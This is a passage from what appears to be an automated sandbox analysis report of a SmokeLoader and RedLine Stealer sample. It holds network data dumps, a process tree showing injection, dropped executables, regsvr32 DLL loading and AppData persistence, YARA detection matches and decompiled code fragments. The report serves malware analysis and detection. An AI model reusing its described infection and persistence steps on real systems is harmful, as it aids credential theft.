31 a6 fe f3 af f2 fa Data Ascii: %k&gC%3 7"s;#J"[":kEL#"?w#Gr"T&eog$-4k#n"k?r"%3J]"#@""Gkk%"kVL&h"-/a"cIkw%ff&8kffqyngZWn:gV[dkl7dek&;keff3k1
2022-08-31 06:34:46 UTC	1026	IN	Data Raw: 7b b8 a0 53 3f 72 da d6 1b 05 0d 63 6b f1 10 3b da d6 1b 16 6b 17 2e 53 da 67 eb 96 1a cd c6 60 6b f3 8e 17 1a 8e 43 d7 3d 3b 51 4d c0 17 0a b7 1a cf ac c7 54 3c 70 d7 1b d7 cb 36 5a 33 4e 17 d3 6f 1b 87 85 98 80 0d da d6 1b 96 eb 17 bc c1 6a 17 1b d6 04 79 da 67 1a 17 1b d6 a0 1b 68 d2 eb 57 1a 78 62 c0 bc b1 1b 24 08 37 1a 87 92 7e 6b 53 2e 17 ef 53 1b 68 15 17 66 5e 9a a2 1b d6 f0 cd 2a 17 4a 37 da d6 1b 8a 9e ce c8 e0 4f 9e 13 e7 1a d3 aa 13 ea 57 1a b0 2d 2d b1 a6 5a a7 58 85 3a d7 a4 c2 f1 97 9b 05 e9 07 1a 5d a0 97 02 3f 98 05 ca 7c b0 a6 c0 3d 5a e7 1a 95 da a5 aa d7 05 14 c6 da d7 17 1a a7 1a 8b 65 59 87 92 df 17 5a e7 1a 2a 39 32 51 ff f2 17 fa 47 1a 4a 58 cb d9 57 a3 ee 1a fc d1 b7 ca 87 1b d7 1b 2c 05 1b 33 a6 de a3 da d6 1b 15 68 17 a6 0e bf Data Ascii: {S?rck;k.Sg`kC=;QMT<p6Z3NojyghWxb$7~kS.Shf^J7OW--ZX:]?\|=ZeYZ92QGJXW,3h
2022-08-31 06:34:46 UTC	1032	IN	Data Raw: 31 ed fa 47 fd bc 85 c5 f3 df 8a 07 29 d1 fc a4 52 ff 0d 44 6e 47 0a 47 7c 32 69 ff 52 c6 8a 46 74 b3 f7 53 08 86 aa 47 6a 3e f0 a4 4c a1 aa 45 89 46 d5 82 90 fd 53 a2 c8 03 aa 87 8a be e8 df 0a ac 02 47 06 db e7 59 15 5a 8b ee 43 c6 0a cb 2b 7e 1f 47 ef 46 0f 2e 02 47 51 3d ab e2 5f a1 7a a1 56 7b 8a 61 0e 06 29 e7 a6 6e 69 a1 a2 8f 8a 2d b0 37 a9 a4 b2 9f 88 29 06 47 51 0a 3d 06 60 2d 27 4a ca 47 c3 cc 48 5a 04 34 88 44 8b 7b 73 82 88 c5 0b 47 8b a9 34 31 af a4 da 77 0b b6 9a 47 e1 2f 09 c7 0b e8 6c 48 ae a4 67 62 f1 90 1e 57 8a e2 e6 0d 08 ee c2 47 d7 7f 6b c2 ab 87 8a d2 d5 8d 3a 77 13 c6 bb ee 8a 8a 8c 0f 0d 93 ba 47 aa 07 0a 26 0a 4e 1e 16 a4 a4 bb b9 c5 ec c0 46 3e b3 9b 75 69 5a 45 96 94 da 0a 74 ba a4 1c b1 0a c6 0f db bb ee 8a ae b7 90 b7 95 86 Data Ascii: 1G)RDnGG\|2iRFtSGj>LEFSGYZC+~GF.GQ=_zV{a)ni-7)GQ=`-'JGHZ4D{sG41wG/lHgbWGk:wG&NF>uiZEt
2022-08-31 06:34:46 UTC	1037	IN	Data Raw: d2 5f 2a ff 32 6e 14 bd 6f bf 69 7c aa 82 18 88 30 d4 3b a5 38 f1 6c 8d f0 77 29 d4 da 35 a0 7f 7b 2e 32 09 7c 1f a4 ea 27 68 a7 0b 0b fe 31 07 82 33 f6 7d 2b 77 42 8f 4a 87 c2 37 52 97 5a af 62 a7 6a 0f da bf ca 06 d3 1e db 16 c3 87 e3 3e f3 36 fb 4e 83 0e 22 46 9b 56 a3 6e ab 66 d3 c7 b3 8e 43 ed 0c 8a 6b be da 0e 7b b6 03 ce 13 de 1b 7f c3 ee 23 e6 2b f6 3b 0e 6a 0d c8 05 d0 1d e0 2d e8 8f c0 3d f0 35 f8 45 88 5d 3a 0d 98 55 a0 6d b0 7d b8 df c0 8d 40 85 48 95 58 ad ca 0d 68 a5 70 bd 00 cd 08 6f c0 dd 10 d5 18 e5 28 fd 9a 0d 38 f5 c0 0c d1 1c d9 bf c1 2c e1 24 e9 34 f9 4c 2a 0c 89 44 91 5c a1 6c a9 cf c1 7c b1 74 b9 84 49 9c fa 0c 59 94 61 ac 71 bc 79 1f c1 cc 01 c4 09 d4 19 ec 8a 0c 29 e4 31 fc c1 0b ce af c6 1b d6 13 de 23 ee 3b 5a 0b fe 33 86 4b 96 Data Ascii: _2noi\|0;8lw)5{.2\|'h13}+wBJ7RZbj>6N"FVnfCk{#+;j-=5E]:Um}@HXhpo(8,$4LD\l\|tIYaqy)1#;Z3K

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5296, Parent PID: 5504

General

Target ID:	0
Start time:	08:32:39
Start date:	31/08/2022
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	298496 bytes
MD5 hash:	001AAF70FD33E2A1386C65AE04A8D602
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.349314250.0000000002360000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.349455025.0000000002391000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.349455025.0000000002391000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.349353478.0000000002370000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.349353478.0000000002370000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.349098806.0000000000A89000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3452, Parent PID: 5296

General

Target ID:	3
Start time:	08:32:46
Start date:	31/08/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff69fe90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000000.337356261.00000000057E1000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000003.00000000.337356261.00000000057E1000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: bwgdrjaPID: 1652, Parent PID: 1080

General

Target ID:	16
Start time:	08:33:36
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Roaming\bwgdrja
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\bwgdrja
Imagebase:	0x400000
File size:	298496 bytes
MD5 hash:	001AAF70FD33E2A1386C65AE04A8D602
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.397859879.0000000000BD8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000010.00000002.397461829.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.397696259.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000010.00000002.397696259.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.397718127.0000000000B41000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000010.00000002.397718127.0000000000B41000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D3F7.exePID: 4472, Parent PID: 3452

General

Target ID:	17
Start time:	08:33:54
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\D3F7.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D3F7.exe
Imagebase:	0x930000
File size:	973664 bytes
MD5 hash:	2FA5D266A3D92286FA470A39ACEC5B0E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: AppLaunch.exePID: 3228, Parent PID: 4472

General

Target ID:	20
Start time:	08:34:05
Start date:	31/08/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0x860000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.457008333.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000014.00000002.457008333.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.457152622.0000000006E31000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000014.00000002.457152622.0000000006E31000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 151.exePID: 3084, Parent PID: 3452

General

Target ID:	21
Start time:	08:34:06
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\151.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\151.exe
Imagebase:	0xca0000
File size:	973664 bytes
MD5 hash:	B913B72892BFD294A808D7E685DC3A19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 39%, Metadefender, Browse Detection: 58%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5680, Parent PID: 4472

General

Target ID:	24
Start time:	08:34:11
Start date:	31/08/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4472 -s 280
Imagebase:	0x240000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 5468, Parent PID: 3452

General

Target ID:	25
Start time:	08:34:15
Start date:	31/08/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\96E9.dll
Imagebase:	0x7ff6c1290000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: AppLaunch.exePID: 4996, Parent PID: 3084

General

Target ID:	26
Start time:	08:34:15
Start date:	31/08/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0x860000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000001A.00000002.482460524.0000000006881000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 4984, Parent PID: 5468

General

Target ID:	27
Start time:	08:34:16
Start date:	31/08/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\96E9.dll
Imagebase:	0xa20000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: A784.exePID: 4916, Parent PID: 3452

General

Target ID:	29
Start time:	08:34:19
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\A784.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A784.exe
Imagebase:	0x400000
File size:	298496 bytes
MD5 hash:	F236C35612EA884351F1D4A8694D8AA1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001D.00000002.507299454.0000000000900000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000003.480872467.0000000000910000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001D.00000000.483664720.00000000009B9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001D.00000000.486808594.00000000009B9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001D.00000000.486576660.0000000000900000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001D.00000000.483255064.0000000000900000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001D.00000002.507938605.00000000009B9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 4224, Parent PID: 3084

General

Target ID:	30
Start time:	08:34:20
Start date:	31/08/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 244
Imagebase:	0x240000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: 39AF.exePID: 1076, Parent PID: 3452

General

Target ID:	31
Start time:	08:34:25
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\39AF.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\39AF.exe
Imagebase:	0x400000
File size:	188416 bytes
MD5 hash:	AE9E2CE4CF9B092A5BBFD1D5A609166E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2888, Parent PID: 1076

General

Target ID:	33
Start time:	08:34:26
Start date:	31/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 2576, Parent PID: 4916

General

Target ID:	34
Start time:	08:34:28
Start date:	31/08/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4916 -s 520
Imagebase:	0x240000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: 4962.exePID: 1668, Parent PID: 3452

General

Target ID:	36
Start time:	08:34:32
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\4962.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\4962.exe
Imagebase:	0x140000000
File size:	3923456 bytes
MD5 hash:	2679869D7C3C730553BDB94848DDEEA5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: 39AF.exePID: 2792, Parent PID: 1076

General

Target ID:	40
Start time:	08:34:36
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\39AF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\39AF.exe" -h
Imagebase:	0x400000
File size:	188416 bytes
MD5 hash:	AE9E2CE4CF9B092A5BBFD1D5A609166E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6000, Parent PID: 2792

General

Target ID:	41
Start time:	08:34:37
Start date:	31/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cegdrjaPID: 2764, Parent PID: 1080

General

Target ID:	42
Start time:	08:34:43
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Roaming\cegdrja
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cegdrja
Imagebase:	0xd00000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5296, Parent PID: 5504COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	28.3%
Signature Coverage:	12.1%
Total number of Nodes:	99
Total number of Limit Nodes:	5

Executed Functions

Function 004017E2 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004017E2(void* __edx) {
				void* _t4;

				 *((intOrPtr*)(_t4 - 0x77)) =  *((intOrPtr*)(_t4 - 0x77)) + __edx;
			}

0x004017e2

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.348591691.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction ID: ddaf0562df841adfab300f0276baae716c17d25714fd681a3a6e16616d485b4c
Opcode Fuzzy Hash: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction Fuzzy Hash: EC015233148208EBDB017AA59C41DA97729AB45754F30C537FA03791F1D67D8713A72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017E3 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E004017E3(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t8;
				char* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t16;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr* _t22;
				void* _t24;
				void* _t26;

				_push(0x181b);
				_t8 =  *_t21;
				_t22 = _t21 + 4;
				L00401118(_t8, _t13, 0x61, _t19, _t20, _t24);
				_t14 = _a4;
				Sleep(0x1388);
				_t3 =  &_v8; // 0x1b68f34d
				_t9 = _t3;
				_push(_t9);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				L00401360(); // executed
				_t25 = _t9;
				if(_t9 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t17, _t18, _t19, _t26); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t16 =  *_t22;
				L00401118(_t11, _t14, _t16, _t19, _t20, _t25);
				return _t11;
			}

0x004017f1
0x004017f6
0x004017f9
0x00401816
0x0040181b
0x00401823
0x00401826
0x00401826
0x00401829
0x0040182a
0x0040182d
0x00401830
0x00401831
0x00401836
0x00401838
0x0040183a
0x0040183d
0x00401840
0x00401841
0x00401842
0x00401842
0x0040184b
0x00401858
0x00401868
0x0040186a
0x00401877
0x00401880

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.348591691.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction ID: 1d0556d2ce3487287f662705d53e2785c513140bae9e3f24436a296874fe77da
Opcode Fuzzy Hash: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction Fuzzy Hash: 15017533108208F7D7017A958C42DAA3628AB45754F30C437BA03790F1D57DDB12676B

Uniqueness

Uniqueness Score: -1.00%

Function 004017EE Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E004017EE(void* __edi, void* __esi) {
				intOrPtr _t8;
				intOrPtr* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t25;
				intOrPtr* _t26;
				void* _t29;
				void* _t31;

				_t21 = __esi;
				_t19 = __edi;
				_push(0x181b);
				_t8 =  *_t25;
				_t26 = _t25 + 4;
				L00401118(_t8, _t13, 0x61, __esi, 0x1b68f351, _t29);
				_t14 =  *((intOrPtr*)(0x1b68f359));
				Sleep(0x1388);
				_t9 = 0x1b68f34d;
				_push(_t9);
				_push( *0x1B68F361);
				_push( *0x1B68F35D);
				_push(_t14); // executed
				L00401360(); // executed
				_t30 = _t9;
				if(_t9 != 0) {
					_push( *0x1B68F365);
					_push( *((intOrPtr*)(0x1b68f34d)));
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t18, _t19, _t21, _t31); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t17 =  *_t26;
				L00401118(_t11, _t14, _t17, _t21, 0x1b68f351, _t30);
				return _t11;
			}

0x004017ee
0x004017ee
0x004017f1
0x004017f6
0x004017f9
0x00401816
0x0040181b
0x00401823
0x00401826
0x00401829
0x0040182a
0x0040182d
0x00401830
0x00401831
0x00401836
0x00401838
0x0040183a
0x0040183d
0x00401840
0x00401841
0x00401842
0x00401842
0x0040184b
0x00401858
0x00401868
0x0040186a
0x00401877
0x00401880

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.348591691.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction ID: 6a2648c31bf342f80e2744bc490c75df06b0a743f4722301b2fbabc3dba0a0aa
Opcode Fuzzy Hash: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction Fuzzy Hash: 54016733508304ABDB017AA18C42EA937289B45754F24C577BB13790F2D57DCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401807 Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E00401807(signed int __edx, void* __edi, void* __esi) {
				void* _t9;
				void* _t10;
				void* _t12;
				void* _t14;
				intOrPtr* _t15;
				intOrPtr _t18;
				void* _t21;
				void* _t25;
				intOrPtr* _t27;
				signed char _t30;
				void* _t32;

				_t23 = __esi;
				_t21 = __edi;
				_t20 = __edx |  *(_t25 + 0x7b);
				_t30 = __edx |  *(_t25 + 0x7b);
				L00401118(_t9, _t14, 0x61, __esi, _t25, _t30);
				_t15 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t4 = _t25 - 4; // 0x1b68f34d
				_t10 = _t4;
				_push(_t10);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t15); // executed
				L00401360(); // executed
				_t31 = _t10;
				if(_t10 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t10);
					_push(_t15); // executed
					E00401432(_t15, _t20, _t21, _t23, _t32); // executed
				}
				 *_t15(0xffffffff, 0); // executed
				_t12 = 0x181b;
				_push(0x61);
				_t18 =  *_t27;
				L00401118(_t12, _t15, _t18, _t23, _t25, _t31);
				return _t12;
			}

0x00401807
0x00401807
0x00401807
0x00401807
0x00401816
0x0040181b
0x00401823
0x00401826
0x00401826
0x00401829
0x0040182a
0x0040182d
0x00401830
0x00401831
0x00401836
0x00401838
0x0040183a
0x0040183d
0x00401840
0x00401841
0x00401842
0x00401842
0x0040184b
0x00401858
0x00401868
0x0040186a
0x00401877
0x00401880

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.348591691.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction ID: d1e85a843a3bf15b3ffbd62fd2fe31d474754e63a526ee7ed21e8696c92682af
Opcode Fuzzy Hash: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction Fuzzy Hash: 2FF04F33204208FBDB007BA18C42EAD3729AB45754F20C537BA13790F2D679CA12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00409AA1 Relevance: 16.7, APIs: 11, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00409AFE
_wprintf.LIBCMTD ref: 00409C10
_wscanf.LIBCMTD ref: 00409C19
_wscanf.LIBCMTD ref: 00409C26
__wremove.LIBCMTD ref: 00409C2C
__wrename.LIBCMTD ref: 00409C33
_labs.LIBCMTD ref: 00409C50
_abort.LIBCMTD ref: 00409C55
_realloc.LIBCMTD ref: 00409C7C

Part of subcall function 0040A710: __realloc_dbg.LIBCMTD ref: 0040A724

_malloc.LIBCMTD ref: 00409C82

Part of subcall function 0040A6E0: __nh_malloc_dbg.LIBCMTD ref: 0040A6F6

__wctomb_s_l.LIBCMTD ref: 00409C8C

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

